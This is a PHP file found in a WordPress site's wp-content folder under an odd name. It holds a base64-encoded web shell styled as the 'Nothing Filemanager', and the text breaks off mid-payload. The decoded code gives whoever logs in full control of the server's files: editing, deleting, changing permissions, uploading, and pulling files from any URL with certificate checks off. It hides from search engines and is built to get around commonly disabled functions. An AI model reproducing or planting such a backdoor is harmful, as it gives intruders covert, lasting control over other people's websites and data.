File: /var/www/html/maisonimmobiliare/wp-content/xx.php
<?php
$code = base64_decode('PD9waHANCi8qKg0KICogTm90aGluZyBGaWxlbWFuYWdlciDigJQgVGVtYSBQcm9mZXNpb25hbCArIFNWRyBJY29ucw0KICogVXJ1dGFuIGFrc2k6IEVkaXQgeCBEb3dubG9hZCB4IFJlbmFtZSB4IENobW9kIHggRGVsZXRlDQogKiAtIFRhaWx3aW5kIChsaWdodCksIHRvbWJvbCBiaXJ1LCBmb250IFVidW50dSAoc2VyYWdhbSkuDQogKiAtIEZpdHVyOiBsaXN0aW5nLCBlZGl0IGZpbGUgKFNFTVVBIEZJTEU6IFRleHQgLyBCYXNlNjQpLCBkb3dubG9hZCwgcmVuYW1lLCBjaG1vZCAob3BzaW9uYWwgcmVrdXJzaWYpLA0KICogICAgICAgICAgZGVsZXRlIChyZWt1cnNpZiksIG1hc3MgZGVsZXRlIChjaGVja2JveCksIHVwbG9hZCBmaWxlIChtdWx0aS1tZXRvZGUpLA0KICogICAgICAgICAgdXBsb2FkIHZpYSBVUkwgKG11bHRpLW1ldG9kZSkNCiAqIC0gTG9naW46IHVzZXJuYW1lICsgcGFzc3dvcmQgKGJjcnlwdCkuIENlZ2FoIGluZGV4aW5nIG1lc2luIHBlbmNhcmkuDQogKiAtIEtlYW1hbmFuOiBDU1JGIHRva2VuIHVudHVrIFBPU1QsIHBhdGggam9pbiBhbWFuLCBzYW5pdGFzaSBlbnRyeSBaSVAsIHRhbnBhIHNoZWxsIGV4ZWMuDQogKiAtIEtvbXBhdGliaWxpdGFzOiBQSFAgNS54IHNhbXBhaSB0ZXJiYXJ1ICh0YW5wYSBzdHJpY3QgdHlwaW5nOyBhZGEgZmFsbGJhY2sgcmFuZG9tX2J5dGVzICYgcGFzc3dvcmRfdmVyaWZ5KQ0KICoNCiAqIENhdGF0YW46IFRpZGFrIG1lbmdndW5ha2FuIGZ1bmdzaSB0ZXJsYXJhbmcgYmVyaWt1dDoNCiAqIHN0cmVhbV9zb2NrZXRfY2xpZW50LCBpbmlfcmVzdG9yZSwgZ3ppbmZsYXRlLCBleGVjLCBwYXNzdGhydSwgc2hlbGxfZXhlYywgc3lzdGVtLCBwcm9jX29wZW4sIHBvcGVuLA0KICogcGFyc2VfaW5pX2ZpbGUsIHNob3dfc291cmNlLCBzY2FuZGlyLCBwb3NpeF9nZXRwd3VpZCwgcG9zaXhfZ2V0Z3JnaWQsIGRpc2tmcmVlc3BhY2UsIGZpbGVncm91cCwNCiAqIGZ0cF9jb25uZWN0LCBzdHJlYW1fZ2V0X2NvbnRlbnRzDQogKi8NCg0KZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldChAZGF0ZV9kZWZhdWx0X3RpbWV6b25lX2dldCgpID8gQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSA6ICdVVEMnKTsNCnNlc3Npb25fc3RhcnQoKTsNCmlmIChlbXB0eSgkX1NFU1NJT05bJ2NzcmYnXSkpICRfU0VTU0lPTlsnY3NyZiddID0gYmluMmhleChiaXJ1X3JhbmRvbV9ieXRlcygxNikpOw0KDQovKiA9PT09PT0gQW50aSBJbmRleGluZyArIFNlY3VyaXR5IEhlYWRlcnMgPT09PT09ICovDQpoZWFkZXIoJ1gtUm9ib3RzLVRhZzogbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSwgbm9zbmlwcGV0LCBub2ltYWdlaW5kZXgnLCB0cnVlKTsNCmhlYWRlcignUmVmZXJyZXItUG9saWN5OiBuby1yZWZlcnJlcicpOw0KaGVhZGVyKCdYLUZyYW1lLU9wdGlvbnM6IERFTlknKTsNCmhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIG1heC1hZ2U9MCcpOw0KaGVhZGVyKCdQcmFnbWE6IG5vLWNhY2hlJyk7DQpoZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCg0KLyogPT09PT09IEFVVEggQ09ORklHIChnYW50aSBzZXN1YWkga2VidXR1aGFuKSA9PT09PT0NCiAqIERpc2FyYW5rYW46IGlzaSBBVVRIX1BBU1NfSEFTSCBkZW5nYW4gYmNyeXB0IGhhc2ggKFBIUCA+PSA1LjUpIGF0YXUgYnVhdCBkaSBtZXNpbiBsYWluLg0KICogICBDb250b2ggYnVhdCBoYXNoOiBwaHAgLXIgImVjaG8gcGFzc3dvcmRfaGFzaCgncGFzc3dvcmRrdScsIFBBU1NXT1JEX0JDUllQVCksIFBIUF9FT0w7Ig0KICovDQpkZWZpbmUoJ0FVVEhfVVNFUicsICdhZG1pbicpOw0KZGVmaW5lKCdBVVRIX1BBU1NfSEFTSCcsICckMnkkMTAkZjhwU085R1hmTkRqRjlIcE9YV2hJT0YyQ29WWHhPdms1QnlHbXl2RVF1dnlwNHo0bzJhMEMnKTsgLy8gY29udG9oIGhhc2ggYmNyeXB0DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09IEhFTFBFUlMgPT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KZnVuY3Rpb24gaCgkcykgeyByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkcywgRU5UX1FVT1RFUywgJ1VURi04Jyk7IH0NCg0KZnVuY3Rpb24gYmlydV9yYW5kb21fYnl0ZXMoJGxlbikgew0KICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdyYW5kb21fYnl0ZXMnKSkgew0KICAgIHJldHVybiByYW5kb21fYnl0ZXMoJGxlbik7DQogIH0NCiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzJykpIHsNCiAgICAkc3Ryb25nID0gZmFsc2U7DQogICAgJGIgPSBvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoJGxlbiwgJHN0cm9uZyk7DQogICAgaWYgKCRiICE9PSBmYWxzZSAmJiAkc3Ryb25nKSByZXR1cm4gJGI7DQogIH0NCiAgLy8gRmFsbGJhY2sgc2VkZXJoYW5hICh0aWRhayBrcmlwdG9ncmFmaXMsIHRhcGkgY3VrdXAgdW50dWsgQ1NSRiBub24ta3JpdGlzKQ0KICAkb3V0ID0gJyc7DQogIGZvciAoJGk9MDsgJGk8JGxlbjsgJGkrKykgew0KICAgICRvdXQgLj0gY2hyKG10X3JhbmQoMCwyNTUpKTsNCiAgfQ0KICByZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gaHVtYW5TaXplKCRiKSB7DQogICR1ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOyAkaT0wOw0KICB3aGlsZSAoJGIgPj0gMTAyNCAmJiAkaSA8IGNvdW50KCR1KS0xKSB7ICRiLz0xMDI0OyAkaSsrOyB9DQogIHJldHVybiAoJGkgPyBudW1iZXJfZm9ybWF0KCRiLDIpIDogKHN0cmluZykkYikuJyAnLiR1WyRpXTsNCn0NCg0KZnVuY3Rpb24gcGVybXNUb1N0cmluZygkZikgew0KICAkcCA9IEBmaWxlcGVybXMoJGYpOyBpZiAoJHAgPT09IGZhbHNlKSByZXR1cm4gJz8/Pz8/Pz8/Pz8nOw0KICAkdCA9ICgkcCAmIDB4NDAwMCkgPyAnZCcgOiAoKCRwICYgMHhBMDAwKSA/ICdsJyA6ICctJyk7DQogICRyID0gZnVuY3Rpb24oJHAsJHIsJHcsJHgpeyAkcz0nJzsgJHMuPSgkcCYkcik/J3InOictJzsgJHMuPSgkcCYkdyk/J3cnOictJzsgJHMuPSgkcCYkeCk/J3gnOictJzsgcmV0dXJuICRzOyB9Ow0KICByZXR1cm4gJHQuJHIoJHAsMHgwMTAwLDB4MDA4MCwweDAwNDApLiRyKCRwLDB4MDAyMCwweDAwMTAsMHgwMDA4KS4kcigkcCwweDAwMDQsMHgwMDAyLDB4MDAwMSk7DQp9DQoNCmZ1bmN0aW9uIG1vZGVGcm9tSW5wdXQoJHMpIHsNCiAgJHMgPSB0cmltKCRzKTsgaWYgKCRzPT09JycpIHJldHVybiAwNjQ0Ow0KICBpZiAoY3R5cGVfZGlnaXQoJHMpKSB7IGlmICgkc1swXSAhPT0gJzAnKSAkcyA9ICcwJy4kczsgcmV0dXJuIGludHZhbCgkcyw4KTsgfQ0KICByZXR1cm4gMDY0NDsNCn0NCg0KZnVuY3Rpb24gaXNUZXh0RmlsZSgkcCkgew0KICBpZiAoaXNfZGlyKCRwKSB8fCAhaXNfZmlsZSgkcCkpIHJldHVybiBmYWxzZTsNCiAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHAsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KICAkdGV4dCA9IGFycmF5KCd0eHQnLCdtZCcsJ2pzb24nLCdqcycsJ3RzJywnY3NzJywnc2NzcycsJ2xlc3MnLCdodG1sJywnaHRtJywneG1sJywnc3ZnJywncGhwJywncGh0bWwnLCdpbmMnLCdpbmknLCdjZmcnLCdlbnYnLCd5bWwnLCd5YW1sJywncHknLCdyYicsJ2dvJywncnMnLCdjJywnaCcsJ2NwcCcsJ2hwcCcsJ2phdmEnLCdrdCcsJ3NxbCcsJ2NzdicsJ2xvZycpOw0KICBpZiAoaW5fYXJyYXkoJGV4dCwgJHRleHQsIHRydWUpKSByZXR1cm4gdHJ1ZTsNCiAgJHMgPSBAZmlsZV9nZXRfY29udGVudHMoJHAsIGZhbHNlLCBudWxsLCAwLCAyMDQ4KTsgaWYgKCRzID09PSBmYWxzZSkgcmV0dXJuIGZhbHNlOw0KICByZXR1cm4gKGJvb2wpcHJlZ19tYXRjaCgnLy91JywgJHMpOw0KfQ0KDQpmdW5jdGlvbiBzYWZlSm9pbigkYmFzZSwgJGNoaWxkKSB7DQogICRjaGlsZCA9IHN0cl9yZXBsYWNlKCJcMCIsICcnLCAkY2hpbGQpOw0KICBpZiAoJGNoaWxkID09PSAnJykgcmV0dXJuICRiYXNlOw0KICBpZiAoJGNoaWxkWzBdID09PSBESVJFQ1RPUllfU0VQQVJBVE9SIHx8IHByZWdfbWF0Y2goJ35eW0EtWmEtel06XFxcXH4nLCAkY2hpbGQpKSByZXR1cm4gJGNoaWxkOw0KICByZXR1cm4gcnRyaW0oJGJhc2UsIERJUkVDVE9SWV9TRVBBUkFUT1IpLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGNoaWxkOw0KfQ0KDQovKiA9PT09PT0gUEVOR0dBTlRJIHNjYW5kaXIoKTogb3BlbmRpcigpL3JlYWRkaXIoKSA9PT09PT0gKi8NCmZ1bmN0aW9uIGxpc3REaXJFbnRyaWVzKCRkaXIpIHsNCiAgJGggPSBAb3BlbmRpcigkZGlyKTsNCiAgaWYgKCRoID09PSBmYWxzZSkgcmV0dXJuIGFycmF5KCk7DQogICRpdGVtcyA9IGFycmF5KCk7DQogIHdoaWxlIChmYWxzZSAhPT0gKCRlID0gcmVhZGRpcigkaCkpKSB7DQogICAgaWYgKCRlID09PSAnLicgfHwgJGUgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICRpdGVtc1tdID0gJGU7DQogIH0NCiAgY2xvc2VkaXIoJGgpOw0KICByZXR1cm4gJGl0ZW1zOw0KfQ0KDQovKiA9PT09PT0gSEFQVVMgUkVLVVJTSUYgPT09PT09ICovDQpmdW5jdGlvbiBycm1kaXIoJHApIHsNCiAgaWYgKCFmaWxlX2V4aXN0cygkcCkpIHJldHVybiB0cnVlOw0KICBpZiAoaXNfZmlsZSgkcCkgfHwgaXNfbGluaygkcCkpIHJldHVybiBAdW5saW5rKCRwKTsNCiAgJG9rID0gdHJ1ZTsNCiAgJGggPSBAb3BlbmRpcigkcCk7DQogIGlmICgkaCA9PT0gZmFsc2UpIHJldHVybiBmYWxzZTsNCiAgd2hpbGUgKGZhbHNlICE9PSAoJHYgPSByZWFkZGlyKCRoKSkpIHsNCiAgICBpZiAoJHYgPT09ICcuJyB8fCAkdiA9PT0gJy4uJykgY29udGludWU7DQogICAgJG9rID0gcnJtZGlyKCRwLkRJUkVDVE9SWV9TRVBBUkFUT1IuJHYpICYmICRvazsNCiAgfQ0KICBjbG9zZWRpcigkaCk7DQogIHJldHVybiBAcm1kaXIoJHApICYmICRvazsNCn0NCg0KLyogPT09PT09IFVQTE9BRCBIRUxQRVIgPT09PT09ICovDQpmdW5jdGlvbiB0cnlXcml0ZUZyb21UbXAoJHRtcCwgJGRlc3QpIHsNCiAgJGVyciA9IGFycmF5KCk7DQogIGlmIChAbW92ZV91cGxvYWRlZF9maWxlKCR0bXAsICRkZXN0KSkgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyW109J21vdmVfdXBsb2FkZWRfZmlsZSc7DQogIGlmIChAcmVuYW1lKCR0bXAsICRkZXN0KSkgICAgICAgICAgICAgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyW109J3JlbmFtZSc7DQogIGlmIChAY29weSgkdG1wLCAkZGVzdCkpICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyW109J2NvcHknOw0KICAkZCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTsNCiAgaWYgKCRkICE9PSBmYWxzZSAmJiBAZmlsZV9wdXRfY29udGVudHMoJGRlc3QsICRkKSAhPT0gZmFsc2UpIHJldHVybiBhcnJheSh0cnVlLCBudWxsKTsgJGVycltdPSdnZXQrcHV0JzsNCiAgJGluID0gQGZvcGVuKCR0bXAsICdyYicpOyAkb3V0ID0gQGZvcGVuKCRkZXN0LCAnd2InKTsNCiAgaWYgKCRpbiAmJiAkb3V0KSB7ICRjID0gc3RyZWFtX2NvcHlfdG9fc3RyZWFtKCRpbiwgJG91dCk7IEBmY2xvc2UoJGluKTsgQGZjbG9zZSgkb3V0KTsgaWYgKCRjICE9PSBmYWxzZSkgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyW109J3N0cmVhbV9jb3B5JzsgfQ0KICBlbHNlICRlcnJbXT0nZm9wZW4nOw0KICByZXR1cm4gYXJyYXkoZmFsc2UsIGltcGxvZGUoJzsgJywgJGVycikuJyBnYWdhbCcpOw0KfQ0KDQovKiA9PT09PT0gVU5EVUggREFSSSBVUkwgKHRhbnBhIGZ1bmdzaSB0ZXJsYXJhbmcpID09PT09PSAqLw0KZnVuY3Rpb24gZmV0Y2hVcmxUb0ZpbGUoJHVybCwgJGRlc3QpIHsNCiAgJGVycnMgPSBhcnJheSgpOw0KICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgew0KICAgICRjaCA9IGN1cmxfaW5pdCgkdXJsKTsgJGZwID0gQGZvcGVuKCRkZXN0LCAnd2InKTsNCiAgICBpZiAoJGNoICYmICRmcCkgew0KICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOw0KICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCB0cnVlKTsNCiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoRmlsZU1hbmFnZXIvMS4xKScpOw0KICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7DQogICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsNCiAgICAgICRvayA9IGN1cmxfZXhlYygkY2gpOyAkZSA9IGN1cmxfZXJyb3IoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBmY2xvc2UoJGZwKTsNCiAgICAgIGlmICgkb2spIHJldHVybiBhcnJheSh0cnVlLCBudWxsKTsgJGVycnNbXSA9ICdjVVJMOiAnLiRlOyBAdW5saW5rKCRkZXN0KTsNCiAgICB9IGVsc2Ugew0KICAgICAgaWYgKCRjaCkgY3VybF9jbG9zZSgkY2gpOw0KICAgICAgaWYgKCRmcCkgZmNsb3NlKCRmcCk7DQogICAgICAkZXJyc1tdID0gJ2luaXQgY1VSTC9mb3Blbic7DQogICAgfQ0KICB9DQogICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoDQogICAgJ2h0dHAnID0+IGFycmF5KCdmb2xsb3dfbG9jYXRpb24nID0+IDEsICd0aW1lb3V0JyA9PiA2MCwgJ2hlYWRlcicgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wXHJcbiIpLA0KICAgICdzc2wnICA9PiBhcnJheSgndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2UpDQogICkpOw0KICAvLyBDYXRhdGFuOiBraXRhIFRJREFLIG1lbWFrYWkgc3RyZWFtX2dldF9jb250ZW50cyAodGVybGFyYW5nKTsgcGFrYWkgY29weS9maWxlX2dldF9jb250ZW50cy4NCiAgaWYgKEBjb3B5KCR1cmwsICRkZXN0LCAkY3R4KSkgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyc1tdPSdjb3B5KHVybCknOw0KICAkZCA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsLCBmYWxzZSwgJGN0eCk7DQogIGlmICgkZCAhPT0gZmFsc2UgJiYgQGZpbGVfcHV0X2NvbnRlbnRzKCRkZXN0LCAkZCkgIT09IGZhbHNlKSByZXR1cm4gYXJyYXkodHJ1ZSwgbnVsbCk7ICRlcnJzW109J2dldCtwdXQnOw0KICAkaW4gPSBAZm9wZW4oJHVybCwgJ3JiJywgZmFsc2UsICRjdHgpOyAkb3V0ID0gQGZvcGVuKCRkZXN0LCAnd2InKTsNCiAgaWYgKCRpbiAmJiAkb3V0KSB7ICRjID0gc3RyZWFtX2NvcHlfdG9fc3RyZWFtKCRpbiwgJG91dCk7IEBmY2xvc2UoJGluKTsgQGZjbG9zZSgkb3V0KTsgaWYgKCRjICE9PSBmYWxzZSkgcmV0dXJuIGFycmF5KHRydWUsIG51bGwpOyAkZXJyc1tdPSdzdHJlYW1fY29weSc7IEB1bmxpbmsoJGRlc3QpOyB9DQogIGVsc2UgJGVycnNbXSA9ICdmb3Blbih1cmwvZGVzdCknOw0KICByZXR1cm4gYXJyYXkoZmFsc2UsIGltcGxvZGUoJzsgJywgJGVycnMpLicgZ2FnYWwnKTsNCn0NCg0KZnVuY3Rpb24gYnJlYWRjcnVtYnMoJHBhdGgpIHsNCiAgJG91dCA9IGFycmF5KCk7DQogIGlmIChwcmVnX21hdGNoKCd+XltBLVphLXpdOlxcXFx+JywgJHBhdGgpKSB7DQogICAgJGRyaXZlID0gc3Vic3RyKCRwYXRoLDAsMik7ICRyZXN0ID0gc3Vic3RyKCRwYXRoLDIpOw0KICAgICRzZWcgPSBhcnJheV92YWx1ZXMoYXJyYXlfZmlsdGVyKGV4cGxvZGUoJ1xcJywkcmVzdCksJ3N0cmxlbicpKTsNCiAgICAkYWNjID0gJGRyaXZlLidcXCc7ICRvdXRbXSA9IGFycmF5KCRkcml2ZS4nXFwnLCAkYWNjKTsNCiAgICBmb3JlYWNoICgkc2VnIGFzICRzKSB7ICRhY2MgLj0gJHMuJ1xcJzsgJG91dFtdID0gYXJyYXkoJHMsIHJ0cmltKCRhY2MsJ1xcJykpOyB9DQogIH0gZWxzZSB7DQogICAgJHNlZyA9IGFycmF5X3ZhbHVlcyhhcnJheV9maWx0ZXIoZXhwbG9kZSgnLycsJHBhdGgpLCdzdHJsZW4nKSk7DQogICAgJGFjYyA9ICcvJzsgJG91dFtdID0gYXJyYXkoJy8nLCcvJyk7DQogICAgZm9yZWFjaCAoJHNlZyBhcyAkcykgeyAkYWNjIC49ICRzLicvJzsgJG91dFtdID0gYXJyYXkoJHMsIHJ0cmltKCRhY2MsJy8nKSk7IH0NCiAgfQ0KICByZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gZW5zdXJlQ3NyZigpIHsNCiAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsNCiAgICAkc2VzcyA9IGlzc2V0KCRfU0VTU0lPTlsnY3NyZiddKSA/ICRfU0VTU0lPTlsnY3NyZiddIDogJyc7DQogICAgJHRvayAgPSBpc3NldCgkX1BPU1RbJ2NzcmYnXSkgPyAoc3RyaW5nKSRfUE9TVFsnY3NyZiddIDogJyc7DQogICAgLy8gaGFzaF9lcXVhbHMgbXVuZ2tpbiB0aWRhayBhZGEgZGkgUEhQIDUuNS0sIGZhbGxiYWNrOg0KICAgICRvayA9IGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9lcXVhbHMnKSA/IGhhc2hfZXF1YWxzKCRzZXNzLCAkdG9rKSA6ICgkc2VzcyA9PT0gJHRvayk7DQogICAgaWYgKCEkb2spIHsgaHR0cF9yZXNwb25zZV9jb2RlKDQwMCk7IGV4aXQoJ0NTUkYgdG9rZW4gaW52YWxpZCcpOyB9DQogIH0NCn0NCg0KLyogPT09PT09IExPR0lOIFJFTkRFUiA9PT09PT0gKi8NCmZ1bmN0aW9uIHJlbmRlcl9sb2dpbigkZXJyPScnKSB7DQogICRjc3JmID0gaXNzZXQoJF9TRVNTSU9OWydjc3JmJ10pID8gJF9TRVNTSU9OWydjc3JmJ10gOiAnJzsNCiAgPz4NCiAgPCFkb2N0eXBlIGh0bWw+DQogIDxodG1sIGxhbmc9ImlkIj4NCiAgPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPg0KICAgIDx0aXRsZT5Mb2dpbiAmbmRhc2g7IE5vdGhpbmcgRmlsZW1hbmFnZXI8L3RpdGxlPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LG5vZm9sbG93LG5vYXJjaGl2ZSxub3NuaXBwZXQsbm9pbWFnZWluZGV4Ij4NCiAgICA8bWV0YSBuYW1lPSJnb29nbGVib3QiIGNvbnRlbnQ9Im5vaW5kZXgsbm9mb2xsb3csbm9hcmNoaXZlLG5vc25pcHBldCxub2ltYWdlaW5kZXgiPg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi50YWlsd2luZGNzcy5jb20iPjwvc2NyaXB0Pg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9VWJ1bnR1OndnaHRAMzAwOzQwMDs1MDA7NzAwJmRpc3BsYXk9c3dhcCIgcmVsPSJzdHlsZXNoZWV0Ij4NCjxzdHlsZT4NCiAgICAgIGh0bWwsYm9keXsgaGVpZ2h0OjEwMCU7IH0NCg0KICAgICAgYm9keXsNCiAgICAgICAgZm9udC1mYW1pbHk6J1VidW50dScsc3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sU2Vnb2UgVUksUm9ib3RvLCJIZWx2ZXRpY2EgTmV1ZSIsQXJpYWwsIk5vdG8gU2FucyI7DQogICAgICAgIGJhY2tncm91bmQ6IzAyMDYxNzsgICAgICAvKiBiYWNrZ3JvdW5kIGdlbGFwIGdsb2JhbCAqLw0KICAgICAgICBjb2xvcjojZTVlN2ViOyAgICAgICAgICAgLyogdGVrcyBkZWZhdWx0IHRlcmFuZyAqLw0KICAgICAgfQ0KDQogICAgICAuY2FyZHsNCiAgICAgICAgYmFja2dyb3VuZDojMDIwNjE3OyAgICAgIC8qIGthcnR1IGdlbGFwICovDQogICAgICAgIGJvcmRlcjoxcHggc29saWQgIzFmMjkzNzsNCiAgICAgICAgYm9yZGVyLXJhZGl1czoxNnB4Ow0KICAgICAgICBib3gtc2hhZG93OjAgMThweCA0NXB4IHJnYmEoMCwwLDAsLjg1KTsNCiAgICAgIH0NCg0KICAgICAgLmJ0bnsNCiAgICAgICAgYmFja2dyb3VuZDojNTIwNGE1Ow0KICAgICAgICBjb2xvcjojZjlmYWZiOw0KICAgICAgICBib3JkZXItcmFkaXVzOjEwcHg7DQogICAgICAgIHBhZGRpbmc6LjZyZW0gLjlyZW07DQogICAgICAgIGZvbnQtd2VpZ2h0OjYwMDsNCiAgICAgIH0NCiAgICAgIC5idG46aG92ZXJ7DQogICAgICAgIGJhY2tncm91bmQ6IzI1NjNlYjsNCiAgICAgIH0NCg0KICAgICAgLmZpZWxkew0KICAgICAgICBib3JkZXI6MXB4IHNvbGlkICMxZjI5Mzc7DQogICAgICAgIGJvcmRlci1yYWRpdXM6MTBweDsNCiAgICAgICAgcGFkZGluZzouNTVyZW0gLjc1cmVtOw0KICAgICAgICB3aWR0aDoxMDAlOw0KICAgICAgICBiYWNrZ3JvdW5kOiMwMjA2MTc7DQogICAgICAgIGNvbG9yOiNlNWU3ZWI7DQogICAgICB9DQoNCiAgICAgIC5maWVsZDo6cGxhY2Vob2xkZXJ7DQogICAgICAgIGNvbG9yOiM2YjcyODA7DQogICAgICB9DQoNCiAgICAgIC5maWVsZDpmb2N1c3sNCiAgICAgICAgb3V0bGluZTpub25lOw0KICAgICAgICBib3gtc2hhZG93OjAgMCAwIDNweCByZ2JhKDI1LCAwLCAxMzMsIDAuNTUpOw0KICAgICAgICBib3JkZXItY29sb3I6IzNiODJmNjsNCiAgICAgIH0NCiAgICA8L3N0eWxlPg0KDQogIDwvaGVhZD4NCiAgPGJvZHkgY2xhc3M9Im1pbi1oLXNjcmVlbiBiZy1zbGF0ZS05NTAgdGV4dC1zbGF0ZS0xMDAgZmxleCBpdGVtcy1jZW50ZXIganVzdGlmeS1jZW50ZXIgcC02Ij4NCiAgICA8ZGl2IGNsYXNzPSJ3LWZ1bGwgbWF4LXctbWQgY2FyZCBwLTYiPg0KICAgICAgPGRpdiBjbGFzcz0ibWItNCI+DQogICAgICAgIDxoMSBjbGFzcz0idGV4dC14bCBmb250LXNlbWlib2xkIj5Ob3RoaW5nIEZpbGVtYW5hZ2VyPC9oMT4NCiAgICAgICAgPHAgY2xhc3M9InRleHQtc20gdGV4dC1zbGF0ZS0zMDAiPlNpbGFrYW4gbG9naW4gdW50dWsgbWVsYW5qdXRrYW4uPC9wPg0KICAgICAgPC9kaXY+DQogICAgICA8P3BocCBpZiAoJGVycik6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1iLTMgcm91bmRlZC1sZyBib3JkZXIgYm9yZGVyLXJlZC0yMDAgYmctcmVkLTUwIHRleHQtcmVkLTgwMCBweC0zIHB5LTIiPg0KICAgICAgICAgIDw/cGhwIGVjaG8gaCgkZXJyKTsgPz4NCiAgICAgICAgPC9kaXY+DQogICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/YT1sb2dpbiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmYiIHZhbHVlPSI8P3BocCBlY2hvIGgoJGNzcmYpOyA/PiI+DQogICAgICAgIDxkaXYgY2xhc3M9InNwYWNlLXktMyI+DQogICAgICAgICAgPGRpdj4NCiAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0idGV4dC1zbSB0ZXh0LWdyYXktNzAwIj5Vc2VybmFtZTwvbGFiZWw+DQogICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZpZWxkIiBuYW1lPSJ1c2VyIiB0eXBlPSJ0ZXh0IiBhdXRvY29tcGxldGU9InVzZXJuYW1lIiByZXF1aXJlZD4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJ0ZXh0LXNtIHRleHQtZ3JheS03MDAiPlBhc3N3b3JkPC9sYWJlbD4NCiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZmllbGQiIG5hbWU9InBhc3MiIHR5cGU9InBhc3N3b3JkIiBhdXRvY29tcGxldGU9ImN1cnJlbnQtcGFzc3dvcmQiIHJlcXVpcmVkPg0KICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biB3LWZ1bGwiIHR5cGU9InN1Ym1pdCI+TG9naW48L2J1dHRvbj4NCiAgICAgICAgPC9kaXY+DQogICAgICA8L2Zvcm0+DQogICAgICA8cCBjbGFzcz0idGV4dC1bMTJweF0gdGV4dC1ncmF5LTYwMCBtdC00Ij5QSFAgPD9waHAgZWNobyBoKFBIUF9WRVJTSU9OKTsgPz4geCBpbmRleGluZyBkaW5vbmFrdGlma2FuPC9wPg0KICAgIDwvZGl2Pg0KICA8L2JvZHk+DQogIDwvaHRtbD4NCiAgPD9waHANCn0NCg0KLyogPT09PT09IEFVVEggSEVMUEVSUyA9PT09PT0gKi8NCmZ1bmN0aW9uIGJpcnVfcGFzc3dvcmRfdmVyaWZ5KCRwYXNzd29yZCwgJGhhc2gpIHsNCiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3dvcmRfdmVyaWZ5JykpIHsNCiAgICByZXR1cm4gcGFzc3dvcmRfdmVyaWZ5KCRwYXNzd29yZCwgJGhhc2gpOw0KICB9DQogIC8vIEZhbGxiYWNrOiB1bnR1ayBiY3J5cHQgKCQyeSQuLi4pIGd1bmFrYW4gY3J5cHQNCiAgaWYgKHN0cmxlbigkaGF